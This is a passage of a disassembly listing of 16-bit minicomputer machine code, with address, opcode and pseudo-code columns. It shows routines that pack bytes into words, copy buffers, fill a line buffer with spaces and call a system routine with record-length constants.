0x00F3 (0x0001E6) 0x2120- f:00020 d: 288 | A = OR[288]
0x00F4 (0x0001E8) 0x1C00-0x0008 f:00016 d: 0 | A = A + 8 (0x0008)
0x00F6 (0x0001EC) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x00F7 (0x0001EE) 0x2913- f:00024 d: 275 | OR[275] = A
0x00F8 (0x0001F0) 0x3113- f:00030 d: 275 | A = (OR[275])
0x00F9 (0x0001F2) 0x2919- f:00024 d: 281 | OR[281] = A
0x00FA (0x0001F4) 0x2124- f:00020 d: 292 | A = OR[292]
0x00FB (0x0001F6) 0x271C- f:00023 d: 284 | A = A - OR[284]
0x00FC (0x0001F8) 0x848C- f:00102 d: 140 | P = P + 140 (0x0188), A = 0
0x00FD (0x0001FA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00FE (0x0001FC) 0x2913- f:00024 d: 275 | OR[275] = A
0x00FF (0x0001FE) 0x2119- f:00020 d: 281 | A = OR[281]
0x0100 (0x000200) 0x0802- f:00004 d: 2 | A = A > 2 (0x0002)
0x0101 (0x000202) 0x2914- f:00024 d: 276 | OR[276] = A
0x0102 (0x000204) 0x2113- f:00020 d: 275 | A = OR[275]
0x0103 (0x000206) 0x2521- f:00022 d: 289 | A = A + OR[289]
0x0104 (0x000208) 0x2913- f:00024 d: 275 | OR[275] = A
0x0105 (0x00020A) 0x2114- f:00020 d: 276 | A = OR[276]
0x0106 (0x00020C) 0x2522- f:00022 d: 290 | A = A + OR[290]
0x0107 (0x00020E) 0x2914- f:00024 d: 276 | OR[276] = A
0x0108 (0x000210) 0x8002- f:00100 d: 2 | P = P + 2 (0x010A), C = 0
0x0109 (0x000212) 0x2D13- f:00026 d: 275 | OR[275] = OR[275] + 1
0x010A (0x000214) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x010B (0x000216) 0x292B- f:00024 d: 299 | OR[299] = A
0x010C (0x000218) 0x2113- f:00020 d: 275 | A = OR[275]
0x010D (0x00021A) 0x292C- f:00024 d: 300 | OR[300] = A
0x010E (0x00021C) 0x2114- f:00020 d: 276 | A = OR[276]
0x010F (0x00021E) 0x292D- f:00024 d: 301 | OR[301] = A
0x0110 (0x000220) 0x211F- f:00020 d: 287 | A = OR[287]
0x0111 (0x000222) 0x292E- f:00024 d: 302 | OR[302] = A
0x0112 (0x000224) 0x100C- f:00010 d: 12 | A = 12 (0x000C)
0x0113 (0x000226) 0x292F- f:00024 d: 303 | OR[303] = A
0x0114 (0x000228) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0115 (0x00022A) 0x2930- f:00024 d: 304 | OR[304] = A
0x0116 (0x00022C) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x0117 (0x00022E) 0x5800- f:00054 d: 0 | B = A
0x0118 (0x000230) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0119 (0x000232) 0x7C09- f:00076 d: 9 | R = OR[9]
0x011A (0x000234) 0x2119- f:00020 d: 281 | A = OR[281]
0x011B (0x000236) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x011C (0x000238) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x011D (0x00023A) 0x2927- f:00024 d: 295 | OR[295] = A
0x011E (0x00023C) 0x2127- f:00020 d: 295 | A = OR[295]
0x011F (0x00023E) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0120 (0x000240) 0x251F- f:00022 d: 287 | A = A + OR[287]
0x0121 (0x000242) 0x290D- f:00024 d: 269 | OR[269] = A
0x0122 (0x000244) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0123 (0x000246) 0x290D- f:00024 d: 269 | OR[269] = A
0x0124 (0x000248) 0x2127- f:00020 d: 295 | A = OR[295]
0x0125 (0x00024A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0126 (0x00024C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0127 (0x00024E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0128 (0x000250) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0129 (0x000252) 0x8604- f:00103 d: 4 | P = P + 4 (0x012D), A # 0
0x012A (0x000254) 0x210D- f:00020 d: 269 | A = OR[269]
0x012B (0x000256) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x012C (0x000258) 0x290D- f:00024 d: 269 | OR[269] = A
0x012D (0x00025A) 0x210D- f:00020 d: 269 | A = OR[269]
0x012E (0x00025C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x012F (0x00025E) 0x2917- f:00024 d: 279 | OR[279] = A
0x0130 (0x000260) 0x2D27- f:00026 d: 295 | OR[295] = OR[295] + 1
0x0131 (0x000262) 0x2117- f:00020 d: 279 | A = OR[279]
0x0132 (0x000264) 0x16FF- f:00013 d: 255 | A = A - 255 (0x00FF)
0x0133 (0x000266) 0x84A9- f:00102 d: 169 | P = P + 169 (0x01DC), A = 0
0x0134 (0x000268) 0x2D19- f:00026 d: 281 | OR[281] = OR[281] + 1
0x0135 (0x00026A) 0x2117- f:00020 d: 279 | A = OR[279]
0x0136 (0x00026C) 0x8435- f:00102 d: 53 | P = P + 53 (0x016B), A = 0
0x0137 (0x00026E) 0x2126- f:00020 d: 294 | A = OR[294]
0x0138 (0x000270) 0x1650- f:00013 d: 80 | A = A - 80 (0x0050)
0x0139 (0x000272) 0x8432- f:00102 d: 50 | P = P + 50 (0x016B), A = 0
0x013A (0x000274) 0x2117- f:00020 d: 279 | A = OR[279]
0x013B (0x000276) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x013C (0x000278) 0x290D- f:00024 d: 269 | OR[269] = A
0x013D (0x00027A) 0x2126- f:00020 d: 294 | A = OR[294]
0x013E (0x00027C) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x013F (0x00027E) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x0140 (0x000280) 0x290E- f:00024 d: 270 | OR[270] = A
0x0141 (0x000282) 0x2126- f:00020 d: 294 | A = OR[294]
0x0142 (0x000284) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0143 (0x000286) 0x2908- f:00024 d: 264 | OR[264] = A
0x0144 (0x000288) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0145 (0x00028A) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0146 (0x00028C) 0x8607- f:00103 d: 7 | P = P + 7 (0x014D), A # 0
0x0147 (0x00028E) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0148 (0x000290) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0149 (0x000292) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x014A (0x000294) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x014B (0x000296) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x014C (0x000298) 0x7006- f:00070 d: 6 | P = P + 6 (0x0152)
0x014D (0x00029A) 0x310E- f:00030 d: 270 | A = (OR[270])
0x014E (0x00029C) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0150 (0x0002A0) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0151 (0x0002A2) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0152 (0x0002A4) 0x2D26- f:00026 d: 294 | OR[294] = OR[294] + 1
0x0153 (0x0002A6) 0x2127- f:00020 d: 295 | A = OR[295]
0x0154 (0x0002A8) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0155 (0x0002AA) 0x251F- f:00022 d: 287 | A = A + OR[287]
0x0156 (0x0002AC) 0x290D- f:00024 d: 269 | OR[269] = A
0x0157 (0x0002AE) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0158 (0x0002B0) 0x290D- f:00024 d: 269 | OR[269] = A
0x0159 (0x0002B2) 0x2127- f:00020 d: 295 | A = OR[295]
0x015A (0x0002B4) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x015B (0x0002B6) 0x2908- f:00024 d: 264 | OR[264] = A
0x015C (0x0002B8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x015D (0x0002BA) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x015E (0x0002BC) 0x8604- f:00103 d: 4 | P = P + 4 (0x0162), A # 0
0x015F (0x0002BE) 0x210D- f:00020 d: 269 | A = OR[269]
0x0160 (0x0002C0) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0161 (0x0002C2) 0x290D- f:00024 d: 269 | OR[269] = A
0x0162 (0x0002C4) 0x210D- f:00020 d: 269 | A = OR[269]
0x0163 (0x0002C6) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0164 (0x0002C8) 0x2917- f:00024 d: 279 | OR[279] = A
0x0165 (0x0002CA) 0x2D27- f:00026 d: 295 | OR[295] = OR[295] + 1
0x0166 (0x0002CC) 0x2127- f:00020 d: 295 | A = OR[295]
0x0167 (0x0002CE) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0168 (0x0002D0) 0x2519- f:00022 d: 281 | A = A + OR[281]
0x0169 (0x0002D2) 0x2919- f:00024 d: 281 | OR[281] = A
0x016A (0x0002D4) 0x7235- f:00071 d: 53 | P = P - 53 (0x0135)
0x016B (0x0002D6) 0x7E03-0x020B f:00077 d: 3 | R = OR[3]+523 (0x020B)
0x016D (0x0002DA) 0x2129- f:00020 d: 297 | A = OR[297]
0x016E (0x0002DC) 0x8602- f:00103 d: 2 | P = P + 2 (0x0170), A # 0
0x016F (0x0002DE) 0x7018- f:00070 d: 24 | P = P + 24 (0x0187)
0x0170 (0x0002E0) 0x7E03-0x020B f:00077 d: 3 | R = OR[3]+523 (0x020B)
0x0172 (0x0002E4) 0x2003- f:00020 d: 3 | A = OR[3]
0x0173 (0x0002E6) 0x1C00-0x030E f:00016 d: 0 | A = A + 782 (0x030E)
0x0175 (0x0002EA) 0x290D- f:00024 d: 269 | OR[269] = A
0x0176 (0x0002EC) 0x211E- f:00020 d: 286 | A = OR[286]
0x0177 (0x0002EE) 0x290E- f:00024 d: 270 | OR[270] = A
0x0178 (0x0002F0) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0179 (0x0002F2) 0x290F- f:00024 d: 271 | OR[271] = A
0x017A (0x0002F4) 0x7006- f:00070 d: 6 | P = P + 6 (0x0180)
0x017B (0x0002F6) 0x310D- f:00030 d: 269 | A = (OR[269])
0x017C (0x0002F8) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x017D (0x0002FA) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x017E (0x0002FC) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x017F (0x0002FE) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x0180 (0x000300) 0x210F- f:00020 d: 271 | A = OR[271]
0x0181 (0x000302) 0x8E06- f:00107 d: 6 | P = P - 6 (0x017B), A # 0
0x0182 (0x000304) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0183 (0x000306) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0184 (0x000308) 0x2926- f:00024 d: 294 | OR[294] = A
0x0185 (0x00030A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0186 (0x00030C) 0x2929- f:00024 d: 297 | OR[297] = A
0x0187 (0x00030E) 0x728D- f:00071 d: 141 | P = P - 141 (0x00FA)
0x0188 (0x000310) 0x705E- f:00070 d: 94 | P = P + 94 (0x01E6)
0x0189 (0x000312) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x018A (0x000314) 0x292A- f:00024 d: 298 | OR[298] = A
0x018B (0x000316) 0x211A- f:00020 d: 282 | A = OR[282]
0x018C (0x000318) 0x2719- f:00023 d: 281 | A = A - OR[281]
0x018D (0x00031A) 0x8002- f:00100 d: 2 | P = P + 2 (0x018F), C = 0
0x018E (0x00031C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0190), A # 0
0x018F (0x00031E) 0x704D- f:00070 d: 77 | P = P + 77 (0x01DC)
0x0190 (0x000320) 0x2124- f:00020 d: 292 | A = OR[292]
0x0191 (0x000322) 0x271C- f:00023 d: 284 | A = A - OR[284]
0x0192 (0x000324) 0x8454- f:00102 d: 84 | P = P + 84 (0x01E6), A = 0
0x0193 (0x000326) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x0194 (0x000328) 0x2913- f:00024 d: 275 | OR[275] = A
0x0195 (0x00032A) 0x2113- f:00020 d: 275 | A = OR[275]
0x0196 (0x00032C) 0x8443- f:00102 d: 67 | P = P + 67 (0x01D9), A = 0
0x0197 (0x00032E) 0x211A- f:00020 d: 282 | A = OR[282]
0x0198 (0x000330) 0x2719- f:00023 d: 281 | A = A - OR[281]
0x0199 (0x000332) 0x8002- f:00100 d: 2 | P = P + 2 (0x019B), C = 0
0x019A (0x000334) 0x8602- f:00103 d: 2 | P = P + 2 (0x019C), A # 0
0x019B (0x000336) 0x703E- f:00070 d: 62 | P = P + 62 (0x01D9)
0x019C (0x000338) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x019D (0x00033A) 0x2914- f:00024 d: 276 | OR[276] = A
0x019E (0x00033C) 0x2114- f:00020 d: 276 | A = OR[276]
0x019F (0x00033E) 0x1E00-0x000D f:00017 d: 0 | A = A - 13 (0x000D)
0x01A1 (0x000342) 0x842E- f:00102 d: 46 | P = P + 46 (0x01CF), A = 0
0x01A2 (0x000344) 0x2114- f:00020 d: 276 | A = OR[276]
0x01A3 (0x000346) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x01A4 (0x000348) 0x2520- f:00022 d: 288 | A = A + OR[288]
0x01A5 (0x00034A) 0x290D- f:00024 d: 269 | OR[269] = A
0x01A6 (0x00034C) 0x310D- f:00030 d: 269 | A = (OR[269])
0x01A7 (0x00034E) 0x290D- f:00024 d: 269 | OR[269] = A
0x01A8 (0x000350) 0x2114- f:00020 d: 276 | A = OR[276]
0x01A9 (0x000352) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01AA (0x000354) 0x2908- f:00024 d: 264 | OR[264] = A
0x01AB (0x000356) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01AC (0x000358) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x01AD (0x00035A) 0x8604- f:00103 d: 4 | P = P + 4 (0x01B1), A # 0
0x01AE (0x00035C) 0x210D- f:00020 d: 269 | A = OR[269]
0x01AF (0x00035E) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x01B0 (0x000360) 0x290D- f:00024 d: 269 | OR[269] = A
0x01B1 (0x000362) 0x210D- f:00020 d: 269 | A = OR[269]
0x01B2 (0x000364) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01B3 (0x000366) 0x2917- f:00024 d: 279 | OR[279] = A
0x01B4 (0x000368) 0x2D14- f:00026 d: 276 | OR[276] = OR[276] + 1
0x01B5 (0x00036A) 0x2117- f:00020 d: 279 | A = OR[279]
0x01B6 (0x00036C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01B7 (0x00036E) 0x290D- f:00024 d: 269 | OR[269] = A
0x01B8 (0x000370) 0x2126- f:00020 d: 294 | A = OR[294]
0x01B9 (0x000372) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x01BA (0x000374) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x01BB (0x000376) 0x290E- f:00024 d: 270 | OR[270] = A
0x01BC (0x000378) 0x2126- f:00020 d: 294 | A = OR[294]
0x01BD (0x00037A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01BE (0x00037C) 0x2908- f:00024 d: 264 | OR[264] = A
0x01BF (0x00037E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01C0 (0x000380) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x01C1 (0x000382) 0x8607- f:00103 d: 7 | P = P + 7 (0x01C8), A # 0
0x01C2 (0x000384) 0x310E- f:00030 d: 270 | A = (OR[270])
0x01C3 (0x000386) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x01C4 (0x000388) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x01C5 (0x00038A) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x01C6 (0x00038C) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01C7 (0x00038E) 0x7006- f:00070 d: 6 | P = P + 6 (0x01CD)
0x01C8 (0x000390) 0x310E- f:00030 d: 270 | A = (OR[270])
0x01C9 (0x000392) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x01CB (0x000396) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x01CC (0x000398) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01CD (0x00039A) 0x2D26- f:00026 d: 294 | OR[294] = OR[294] + 1
0x01CE (0x00039C) 0x7230- f:00071 d: 48 | P = P - 48 (0x019E)
0x01CF (0x00039E) 0x2F13- f:00027 d: 275 | OR[275] = OR[275] - 1
0x01D0 (0x0003A0) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x01D1 (0x0003A2) 0x2B26- f:00025 d: 294 | OR[294] = A + OR[294]
0x01D2 (0x0003A4) 0x1800-0x0008 f:00014 d: 0 | A = 8 (0x0008)
0x01D4 (0x0003A8) 0x2B19- f:00025 d: 281 | OR[281] = A + OR[281]
0x01D5 (0x0003AA) 0x1800-0x0008 f:00014 d: 0 | A = 8 (0x0008)
0x01D7 (0x0003AE) 0x2B20- f:00025 d: 288 | OR[288] = A + OR[288]
0x01D8 (0x0003B0) 0x7243- f:00071 d: 67 | P = P - 67 (0x0195)
0x01D9 (0x0003B2) 0x7E03-0x020B f:00077 d: 3 | R = OR[3]+523 (0x020B)
0x01DB (0x0003B6) 0x7250- f:00071 d: 80 | P = P - 80 (0x018B)
0x01DC (0x0003B8) 0x2118- f:00020 d: 280 | A = OR[280]
0x01DD (0x0003BA) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x01DE (0x0003BC) 0x8402- f:00102 d: 2 | P = P + 2 (0x01E0), A = 0
0x01DF (0x0003BE) 0x7007- f:00070 d: 7 | P = P + 7 (0x01E6)
0x01E0 (0x0003C0) 0x2124- f:00020 d: 292 | A = OR[292]
0x01E1 (0x0003C2) 0x271C- f:00023 d: 284 | A = A - OR[284]
0x01E2 (0x0003C4) 0x8404- f:00102 d: 4 | P = P + 4 (0x01E6), A = 0
0x01E3 (0x0003C6) 0x7E03-0x020B f:00077 d: 3 | R = OR[3]+523 (0x020B)
0x01E5 (0x0003CA) 0x7205- f:00071 d: 5 | P = P - 5 (0x01E0)
0x01E6 (0x0003CC) 0x211F- f:00020 d: 287 | A = OR[287]
0x01E7 (0x0003CE) 0x8602- f:00103 d: 2 | P = P + 2 (0x01E9), A # 0
0x01E8 (0x0003D0) 0x7009- f:00070 d: 9 | P = P + 9 (0x01F1)
0x01E9 (0x0003D2) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x01EA (0x0003D4) 0x292B- f:00024 d: 299 | OR[299] = A
0x01EB (0x0003D6) 0x211F- f:00020 d: 287 | A = OR[287]
0x01EC (0x0003D8) 0x292C- f:00024 d: 300 | OR[300] = A
0x01ED (0x0003DA) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x01EE (0x0003DC) 0x5800- f:00054 d: 0 | B = A
0x01EF (0x0003DE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01F0 (0x0003E0) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01F1 (0x0003E2) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x01F2 (0x0003E4) 0x292B- f:00024 d: 299 | OR[299] = A
0x01F3 (0x0003E6) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x01F4 (0x0003E8) 0x5800- f:00054 d: 0 | B = A
0x01F5 (0x0003EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01F6 (0x0003EC) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01F7 (0x0003EE) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x01F8 (0x0003F0) 0x2913- f:00024 d: 275 | OR[275] = A
0x01F9 (0x0003F2) 0x211E- f:00020 d: 286 | A = OR[286]
0x01FA (0x0003F4) 0x2914- f:00024 d: 276 | OR[276] = A
0x01FB (0x0003F6) 0x2113- f:00020 d: 275 | A = OR[275]
0x01FC (0x0003F8) 0xAC03-0x020A f:00126 d: 3 | P = OR[3]+522 (0x020A), A = 0
0x01FE (0x0003FC) 0x1800-0x2020 f:00014 d: 0 | A = 8224 (0x2020)
0x0200 (0x000400) 0x3914- f:00034 d: 276 | (OR[276]) = A
0x0201 (0x000402) 0x2F13- f:00027 d: 275 | OR[275] = OR[275] - 1
0x0202 (0x000404) 0x2D14- f:00026 d: 276 | OR[276] = OR[276] + 1
0x0203 (0x000406) 0x7208- f:00071 d: 8 | P = P - 8 (0x01FB)
0x0204 (0x000408) 0x0200- f:00001 d: 0 | EXIT
0x0205 (0x00040A) 0x2118- f:00020 d: 280 | A = OR[280]
0x0206 (0x00040C) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0207 (0x00040E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0209), A = 0
0x0208 (0x000410) 0x700F- f:00070 d: 15 | P = P + 15 (0x0217)
0x0209 (0x000412) 0x211D- f:00020 d: 285 | A = OR[285]
0x020A (0x000414) 0x8402- f:00102 d: 2 | P = P + 2 (0x020C), A = 0
0x020B (0x000416) 0x7003- f:00070 d: 3 | P = P + 3 (0x020E)
0x020C (0x000418) 0x748A- f:00072 d: 138 | R = P + 138 (0x0296)
0x020D (0x00041A) 0x7009- f:00070 d: 9 | P = P + 9 (0x0216)
0x020E (0x00041C) 0x2D24- f:00026 d: 292 | OR[292] = OR[292] + 1
0x020F (0x00041E) 0x211C- f:00020 d: 284 | A = OR[284]
0x0210 (0x000420) 0x2724- f:00023 d: 292 | A = A - OR[292]
0x0211 (0x000422) 0x8402- f:00102 d: 2 | P = P + 2 (0x0213), A = 0
0x0212 (0x000424) 0x7004- f:00070 d: 4 | P = P + 4 (0x0216)
0x0213 (0x000426) 0x2F1D- f:00027 d: 285 | OR[285] = OR[285] - 1
0x0214 (0x000428) 0x212A- f:00020 d: 298 | A = OR[298]
0x0215 (0x00042A) 0x2924- f:00024 d: 292 | OR[292] = A
0x0216 (0x00042C) 0x707C- f:00070 d: 124 | P = P + 124 (0x0292)
0x0217 (0x00042E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0218 (0x000430) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0219 (0x000432) 0x8402- f:00102 d: 2 | P = P + 2 (0x021B), A = 0
0x021A (0x000434) 0x7028- f:00070 d: 40 | P = P + 40 (0x0242)
0x021B (0x000436) 0x1050- f:00010 d: 80 | A = 80 (0x0050)
0x021C (0x000438) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x021D (0x00043A) 0x2916- f:00024 d: 278 | OR[278] = A
0x021E (0x00043C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x021F (0x00043E) 0x2917- f:00024 d: 279 | OR[279] = A
0x0220 (0x000440) 0x2117- f:00020 d: 279 | A = OR[279]
0x0221 (0x000442) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0222 (0x000444) 0x290D- f:00024 d: 269 | OR[269] = A
0x0223 (0x000446) 0x2116- f:00020 d: 278 | A = OR[278]
0x0224 (0x000448) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0225 (0x00044A) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x0226 (0x00044C) 0x290E- f:00024 d: 270 | OR[270] = A
0x0227 (0x00044E) 0x2116- f:00020 d: 278 | A = OR[278]
0x0228 (0x000450) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0229 (0x000452) 0x2908- f:00024 d: 264 | OR[264] = A
0x022A (0x000454) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x022B (0x000456) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x022C (0x000458) 0x8607- f:00103 d: 7 | P = P + 7 (0x0233), A # 0
0x022D (0x00045A) 0x310E- f:00030 d: 270 | A = (OR[270])
0x022E (0x00045C) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x022F (0x00045E) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0230 (0x000460) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0231 (0x000462) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0232 (0x000464) 0x7006- f:00070 d: 6 | P = P + 6 (0x0238)
0x0233 (0x000466) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0234 (0x000468) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0236 (0x00046C) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0237 (0x00046E) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0238 (0x000470) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0239 (0x000472) 0x292B- f:00024 d: 299 | OR[299] = A
0x023A (0x000474) 0x211E- f:00020 d: 286 | A = OR[286]
0x023B (0x000476) 0x292C- f:00024 d: 300 | OR[300] = A
0x023C (0x000478) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x023D (0x00047A) 0x5800- f:00054 d: 0 | B = A
0x023E (0x00047C) 0x1800-0x2718 f:00014 d: 0 | A = 10008 (0x2718)
0x0240 (0x000480) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0241 (0x000482) 0x7051- f:00070 d: 81 | P = P + 81 (0x0292)
0x0242 (0x000484) 0x2118- f:00020 d: 280 | A = OR[280]
0x0243 (0x000486) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x0244 (0x000488) 0x8402- f:00102 d: 2 | P = P + 2 (0x0246), A = 0
0x0245 (0x00048A) 0x704D- f:00070 d: 77 | P = P + 77 (0x0292)
0x0246 (0x00048C) 0x1050- f:00010 d: 80 | A = 80 (0x0050)
0x0247 (0x00048E) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x0248 (0x000490) 0x2916- f:00024 d: 278 | OR[278] = A
0x0249 (0x000492) 0x100A- f:00010 d: 10 | A = 10 (0x000A)
0x024A (0x000494) 0x2917- f:00024 d: 279 | OR[279] = A
0x024B (0x000496) 0x2117- f:00020 d: 279 | A = OR[279]
0x024C (0x000498) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x024D (0x00049A) 0x290D- f:00024 d: 269 | OR[269] = A
0x024E (0x00049C) 0x2116- f:00020 d: 278 | A = OR[278]
0x024F (0x00049E) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0250 (0x0004A0) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x0251 (0x0004A2) 0x290E- f:00024 d: 270 | OR[270] = A
0x0252 (0x0004A4) 0x2116- f:00020 d: 278 | A = OR[278]
0x0253 (0x0004A6) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0254 (0x0004A8) 0x2908- f:00024 d: 264 | OR[264] = A
0x0255 (0x0004AA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0256 (0x0004AC) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0257 (0x0004AE) 0x8607- f:00103 d: 7 | P = P + 7 (0x025E), A # 0
0x0258 (0x0004B0) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0259 (0x0004B2) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x025A (0x0004B4) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x025B (0x0004B6) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x025C (0x0004B8) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x025D (0x0004BA) 0x7006- f:00070 d: 6 | P = P + 6 (0x0263)
0x025E (0x0004BC) 0x310E- f:00030 d: 270 | A = (OR[270])
0x025F (0x0004BE) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0261 (0x0004C2) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0262 (0x0004C4) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0263 (0x0004C6) 0x2D16- f:00026 d: 278 | OR[278] = OR[278] + 1
0x0264 (0x0004C8) 0x100D- f:00010 d: 13 | A = 13 (0x000D)
0x0265 (0x0004CA) 0x2917- f:00024 d: 279 | OR[279] = A
0x0266 (0x0004CC) 0x2117- f:00020 d: 279 | A = OR[279]
0x0267 (0x0004CE) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0268 (0x0004D0) 0x290D- f:00024 d: 269 | OR[269] = A
0x0269 (0x0004D2) 0x2116- f:00020 d: 278 | A = OR[278]
0x026A (0x0004D4) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x026B (0x0004D6) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x026C (0x0004D8) 0x290E- f:00024 d: 270 | OR[270] = A
0x026D (0x0004DA) 0x2116- f:00020 d: 278 | A = OR[278]
0x026E (0x0004DC) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x026F (0x0004DE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0270 (0x0004E0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0271 (0x0004E2) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0272 (0x0004E4) 0x8607- f:00103 d: 7 | P = P + 7 (0x0279), A # 0
0x0273 (0x0004E6) 0x310E- f:00030 d: 270 | A = (OR[270])
